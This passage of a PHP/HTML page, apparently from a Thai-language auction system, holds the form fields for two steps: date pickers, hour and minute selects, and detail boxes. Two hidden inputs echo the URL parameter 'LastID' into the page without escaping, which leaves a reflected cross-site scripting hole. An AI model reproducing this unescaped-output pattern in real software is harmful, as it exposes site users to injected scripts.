<td height="20" colspan="2" align="left" bgcolor="#C1E2F8" class="blue"> <img src="../../images/email_reply.gif" width="15" height="12" align="absmiddle" />
<input name="hID" type="hidden" id="hID" value="<?=$_GET['LastID']?>"></td>
</tr>
<tr style="display:none">
<td height="20" align="right" bgcolor="#FCFCFC"><label>
<input name="radiobutton1" type="radio" value="0" onClick="javaScript:if(this.value){document.post.button_date.disabled=true;document.post.button_date1.disabled=true;document.post.button_date2.disabled=true;}">
ไม่ระบุวันที่
</label></td>
<td bgcolor="#FCFCFC"> </td>
</tr>
<tr style="display:none">
<td height="20" align="right" bgcolor="#FCFCFC"><label>
<input name="radiobutton1" type="radio" value="1" onClick="javaScript:if(this.value){document.post.button_date.disabled=false;document.post.button_date1.disabled=true;document.post.button_date2.disabled=true;}">
</label>
วันที่ </td>
<td bgcolor="#FCFCFC"><input name="date_1" type="text" onFocus="blur();" size="10" value="<?=$date_1?>" readonly>
<input name="button_date" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.date_1, 'dd/mm/yyyy')" value='เลือกวัน' disabled="disabled"> </td>
</tr>
<tr>
<td height="20" align="right" bgcolor="#FCFCFC"><label>
<input name="radiobutton1" type="radio" onClick="javaScript:if(this.value){document.post.button_date.disabled=true;document.post.button_date1.disabled=false;document.post.button_date2.disabled=false;}" value="2" checked>
</label>
ระหว่างวันที่ </td>
<td bgcolor="#FCFCFC"><input name="date_2" type="text" onFocus="blur();" size="10" value="<?=$date_2?>" readonly>
<input name="button_date1" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.date_2, 'dd/mm/yyyy','caldate(post.date_2,post.date_3,dis1)')" value='เลือกวัน' >
ถึง
<input name="date_3" type="text" onFocus="blur();" size="10" value="<?=$date_3?>" readonly>
<input name="button_date2" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.date_3,'dd/mm/yyyy','caldate(post.date_2,post.date_3,dis3)')" value='เลือกวัน'></td>
</tr>
<tr valign="top">
<td height="5" align="right" bgcolor="#FCFCFC">จำนวนวัน<b>:</b> </td>
<td bgcolor="#FCFCFC"><div id="dis3" style="border:solid #CCC; border-width:1px;width:150px;height:20px; font-size:12px"></div></td>
</tr>
<tr valign="top">
<td height="20" align="right" bgcolor="#FCFCFC">เวลาเริ่มต้น <b>: </b></td>
<td bgcolor="#FCFCFC"><select name="stime_offer1" class="input" style="width:50px;">
<?
for($t1=8;$t1<=16;$t1++){
if($stime_offer_arr[0] == $t1){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"$t1\" class=\"normal\" $selected>".add_zero($t1)."</option>";
}
$selected = "";
?>
</select>
นาฬิกา
<select name="stime_offer2" class="input" style="width:50px;">
<?
$time_set4="30";
for($m1=0;$m1<60;$m1++){
if(($m1 % 5) == 0){
if($time_set4==$m1){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"".add_zero($m1)."\" class=\"normal\" $selected>".add_zero($m1)."</option>" ;
}
}
$selected = "";
?>
</select>
นาที <span class="redlink">*</span></td>
</tr>
<tr valign="top">
<td height="20" align="right" bgcolor="#FCFCFC">เวลาสิ้นสุด <b>: </b></td>
<td bgcolor="#FCFCFC"><select name="etime_offer1" class="input" style="width:50px;">
<?
$time_set5="16";
for($tt=8;$tt<=16;$tt++){
if($time_set5 == $tt){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"$tt\" class=\"normal\" $selected>".add_zero($tt)."</option>";
}
$selected = "";
?>
</select>
นาฬิกา
<select name="etime_offer2" class="input" style="width:50px;">
<?
for($mm=0;$mm<60;$mm++){
if(($mm % 5) == 0){
if($action == "edit"){ if($etime_offer_arr[1] == $mm){ $selected = "selected"; }else{ $selected = ""; }}
echo "<option value=\"".add_zero($mm)."\" class=\"normal\" $selected>".add_zero($mm)."</option>" ;
}
}
$selected = "";
?>
</select>
นาที <span class="redlink">*</span></td>
</tr>
<tr valign="top">
<td width="112" height="20" align="right" bgcolor="#FCFCFC">รายละเอียด <b>:</b> </td>
<td width="459" bgcolor="#FCFCFC"><textarea name="pur_offer_detail" rows="4" class="input" style="width:450px;"></textarea></td>
</tr>
</table>
<input name="submit222" type="button" class="input" style="width:100;" value="ขั้นตอนที่ 5" onClick="checkvalue('STEP4');" />
<input name="button222" type="button" class="input" style="width:100;" onClick="window.top.location.href='auction_index.php'" value="กลับหน้าหลัก" /></td>
</tr>
</table>
<table width="600" border="0" id="form5" cellpadding="2" cellspacing="1" bgcolor="#999999">
<tr>
<td width="35%" align="center" bgcolor="#FCFCFC">
<table width="98%" border="0" align="center" cellpadding="2" cellspacing="1" bordercolor="#eeeeee" bgcolor="#CCCCCC">
<tr bgcolor="#f8f8f8">
<td height="20" colspan="2" align="left" bgcolor="#C1E2F8" class="orange"> <img src="../../images/email.gif" width="14" height="10" align="absmiddle" /><span class="normal_black"> <span class="blue">
<input name="hID" type="hidden" id="hID" value="<?=$_GET['LastID']?>">
</span></span></td>
</tr>
<tr>
<td height="20" align="right" bgcolor="#FCFCFC"><label>ถึงวันที่</label></td>
<td bgcolor="#FCFCFC"><input name="date_start" type="text" onFocus="blur();" size="10" value="<?=$date_start?>" readonly>
<input name="click1" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.date_start, 'dd/mm/yyyy')" value='เลือกวัน'> </td>
</tr>
<tr valign="top">
<td height="20" align="right" bgcolor="#FCFCFC">เวลาเริ่มต้น <b>: </b></td>
<td bgcolor="#FCFCFC"><select name="stime_close1" class="input" style="width:50px;">
<?
for($xt1=8;$xt1<=16;$xt1++){
if($stime_close_arr[0] == $xt1){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"$xt1\" class=\"normal\" $selected>".add_zero($xt1)."</option>";
}
$selected = "";
?>
</select>
นาฬิกา
<select name="stime_close2" class="input" style="width:50px;">
<?
$time_set6="30";
for($xm1=0;$xm1<60;$xm1++){
if(($xm1 % 5) == 0){
if($time_set6 == $xm1){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"".add_zero($xm1)."\" class=\"normal\" $selected>".add_zero($xm1)."</option>" ;
}
}
$selected = "";
?>
</select>
นาที <span class="redlink">*</span></td>
</tr>
<tr valign="top">
<td height="20" align="right" bgcolor="#FCFCFC">เวลาสิ้นสุด <b>: </b></td>
<td bgcolor="#FCFCFC"><select name="etime_close1" class="input" style="width:50px;">
<?
$time_set7="16";
for($xtt=8;$xtt<=16;$xtt++){
if($time_set7== $xtt){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"$xtt\" class=\"normal\" $selected>".add_zero($xtt)."</option>";
}
$selected = "";
?>
</select>
นาฬิกา
<select name="etime_close2" class="input" style="width:50px;">
<?
for($xmm=0;$xmm<60;$xmm++){
if(($xmm % 5) == 0){
if($action == "edit"){if($etime_close_arr[1] == $xmm){ $selected = "selected"; }else{ $selected = ""; }}
echo "<option value=\"".add_zero($xmm)."\" class=\"normal\" $selected>".add_zero($xmm)."</option>" ;
}
}
$selected = "";
?>
</select> นาที <span class="redlink">*</span></td>
</tr>
<!--------------------------------------------------------------------------------------------------------------------------------->
<!--------------------------------------------------------------------------------------------------------------------------------->
<tr valign="top">
<td width="111" height="8" align="right" bgcolor="#FCFCFC">รายละเอียด <b>:</b> </td>
<td width="460" bgcolor="#FCFCFC"><textarea name="pur_close_detail" rows="4" class="input" style="width:450px;"></textarea></td>
</tr>
</table>
<input name="submit2222" type="button" class="input" style="width:100;" value="สิ้นสุดการบันทึกข้อมูล" onClick="checkvalue('STEP5');" />
<input name="button2222" type="button" class="input" style="width:100;" value="กลับหน้าหลัก" />
<input name="hAction" type="hidden" id="hAction">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="left" valign="top"> </td>
</tr>
</table>
</form>
</body>
</html>
<script language="JavaScript" type="text/javascript">
function Noinput(objval){
if(objval.checked){
for(i=0;i<document.post.inputdate.length;i++){
document.post.inputdate[i].checked=false;
}
document.post.times.value="";
document.post.times1.value="";
document.post.times2.value="";
document.post.place_detail.value="";
document.getElementById('dis2').innerHTML="";
}else{
document.post.inputdate[1].checked=true;
}
}
function Input(objval){
document.post.checkbox_use.checked=false;
document.post.inputdate[1].checked=true;
}
</script>